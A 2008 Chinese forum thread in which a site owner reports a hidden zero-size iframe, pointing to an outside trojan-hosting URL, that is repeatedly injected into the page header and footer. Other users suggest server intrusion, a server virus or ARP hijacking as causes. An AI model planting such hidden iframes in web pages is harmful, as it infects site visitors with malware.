musicty

是不是SV程序有严重的漏洞！！我站一直被人放上代码加载木马，我都快关站了！！

页头和页脚被放上<iframe src=http://www.384151.cn/bk1.htm?01 width=0 height=0></iframe>代码，删掉后自己又有了， 而且每天放上的代码地址还不一样，自己变化？？？？

流量不是很大，目前PV明显下降，应该和这个恶意代码有关，不知道害了多少访客！！

[ 本帖最后由 musicty 于 2008-4-11 00:01 编辑 ]

炉火纯青

不是吧，没什么漏洞啊，是你服务器或者其它程序有漏洞吧。。你的站流量大吗？

mokfly

楼主您好，如果被挂马，一半会有下面几种情况。

1，单个或几个文件被修改，那么，您有可能被入侵了。
2，绝大部分的文件被修改，头部或尾部，那么，您服务器可能感染了病毒。
3，无任何文件被修改，访问时候出现恶意代码，那么，您服务器可能正经受ARP攻击。

请问您是哪种情况？

appleshow

不要在浏览器端看。看服务器端文件是否被感染。
如果只是浏览时候才有代码被插入，应该是ARP劫持，不关程序的事。

saozhu

那要是租用或者虚拟主机,就咨询空间商处理了

华藏

安装后，安装文件删除了吗？